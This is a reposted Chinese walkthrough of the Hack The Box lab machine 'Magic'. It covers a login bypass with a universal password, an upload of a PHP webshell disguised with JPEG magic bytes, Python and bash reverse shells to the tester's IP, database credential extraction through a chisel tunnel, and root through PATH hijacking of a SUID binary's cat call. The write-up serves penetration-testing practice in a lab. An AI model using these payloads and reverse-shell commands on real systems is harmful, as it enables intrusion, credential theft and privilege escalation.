ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

HTB-靶机-Magic

2021-06-10 14:02:52  阅读:232  来源: 互联网

标签:bin shell Magic HTB cat 10.10 靶机 socket


本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.185

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.185 -o ./Magic-autorecon

sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.185
或者

sudo masscan -p1-65535,U:1-65535 10.10.10.185 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
sudo nmap -Pn -sV -sC -p$ports 10.10.10.185

访问80端口

看到一个Login页面

试了下默认口令不成功,试了万能密码,尼玛成功登录了

登录进去就是个上传图片的页面,测试了下可以上传图片格式的文件,但是上传带马的图片就不行,可以通过参考下面的文章进行绕过

https://en.wikipedia.org/wiki/List_of_file_signatures
https://httpd.apache.org/docs/2.4/glossary.html#media-type
https://httpd.apache.org/docs/2.4/mod/mod_mime.html

制作反弹shell的小马

echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg
echo '<?=`$_GET[0]`?>' >> webshell.php.jpg

上述制作完成就可以通过上面的上传页面直接上传上去了,成功之后直接写入反弹shell代码拿shell

下面是在浏览器上访问的地址,然后可以反弹shell
http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

浏览器访问后的编码地址
http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.16%22,8833));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

升级tty-shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在目标靶机上发现数据库的账户和密码

www-data@ubuntu:/var/www/Magic$ cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

尝试在靶机上使用mysql客户端连接,但提示没有安装,想办法将数据库端口转发到本地kali机器上,相关工具如下:

https://github.com/jpillora/chisel
https://github.com/jpillora/chisel/releases
具体步骤
1.在本地kali执行
./chisel server -p 8000 -reverse

2.在目标靶机上执行
./chisel client 10.10.14.16:8000 R:3306:127.0.0.1:3306 &

在本地kali连接mysql数据库

在本地kali连接mysql数据库
mysql -h 127.0.0.1 -P 3306 -u theseus -piamkingtheseus

执行下面操作指令获取账户和密码
show databases;
use Magic;
show tables;
select * from login;

执行结果:

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Magic              |
+--------------------+
2 rows in set (0.256 sec)

MySQL [(none)]> use Magic
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [Magic]> show tables;
+-----------------+
| Tables_in_Magic |
+-----------------+
| login           |
+-----------------+
1 row in set (0.255 sec)

MySQL [Magic]> select * from login;
+----+----------+----------------+
| id | username | password       |
+----+----------+----------------+
|  1 | admin    | Th3s3usW4sK1ng |
+----+----------+----------------+
1 row in set (0.257 sec)

MySQL [Magic]>

直接使用上面得到的密码登录家目录下的用户theseus,成功登录之后查找目标靶机的suid文件进行提权

find / -perm -4000 -exec ls -l {} \; 2>/dev/null

找到下面一个二进制文件带权限s

-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
执行了一下上面的命令发现是收集系统相关信息的指令,使用strings查看下具体哪些指令
strings /bin/sysinfo
得到如下有用的内容
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h

上面可以通过劫持cat命令来提权

查看环境变量

theseus@ubuntu:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
theseus@ubuntu:~$

劫持环境变量,让执行cat命令的时候先执行/tmp/目录下的cat,在cat文件中写入反弹代码

使用echo快速写一个反弹shell
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.16/8822 0>&1' > /tmp/cat

更改环境变量执行顺序
export PATH=/tmp:$PATH
echo $PATH

执行sysinfo命令触发劫持的cat命令反弹shell

上述执行之后,当执行到cat的时候卡住了

此时触发了反弹shell代码

标签:bin,shell,Magic,HTB,cat,10.10,靶机,socket
来源: https://www.cnblogs.com/autopwn/p/14870778.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有